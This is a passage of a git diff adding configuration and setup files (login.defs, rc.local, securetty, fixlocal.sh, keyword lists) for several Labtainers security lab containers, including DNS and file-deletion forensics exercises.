allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/rc.local new file mode 100755 index 000000000..600e74453 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +echo "search example.com" > /etc/resolv.conf +echo "nameserver 192.168.0.3" >> /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_bin/treataslocal new file mode 100644 index 000000000..f68190acd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_bin/treataslocal @@ -0,0 +1 @@ +ping diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/rc.local new file mode 100755 index 000000000..600e74453 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +echo "search example.com" > /etc/resolv.conf +echo "nameserver 192.168.0.3" >> /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_bin/treataslocal new file mode 100644 index 000000000..f68190acd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_bin/treataslocal @@ -0,0 +1 @@ +ping diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/ws3/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/keywords.txt new file mode 100644 index 000000000..8ebd191ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/config/keywords.txt @@ -0,0 +1,3 @@ +recovery +file deletion +forensics diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx index d48be7045..8d9cafdab 100755 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.pdf index ef0c3c98f..29a3db106 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/docs/file-deletion.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh index 1be96e8eb..24017a83d 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/file-deletion/_bin/fixlocal.sh @@ -3,7 +3,15 @@ # Script will be run after parameterization has completed, e.g., # use this to compile source code that has been parameterized. # +next=$(sudo losetup -f) +if [[ ! -b $next ]]; then + # make the device if it does not exist (using mknod) + count=${next:9} + echo "count is $count" + sudo mknod $next b 7 $count +fi cd $HOME +mkdir mnt dd if=/dev/zero of=myfs.img bs=1k count=1k mkfs.ext2 -F myfs.img sudo mount -o loop myfs.img mnt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-deletion/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/keywords.txt new file mode 100644 index 000000000..1cabc6c42 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/config/keywords.txt @@ -0,0 +1,3 @@ +integrity +ids +checksum diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.pdf index 9b744d91c..fd5256d3e 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/docs/file-integrity.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/file-integrity/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/about.txt new file mode 100644 index 000000000..24d7d1c6c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/about.txt @@ -0,0 +1 @@ +Explore C library 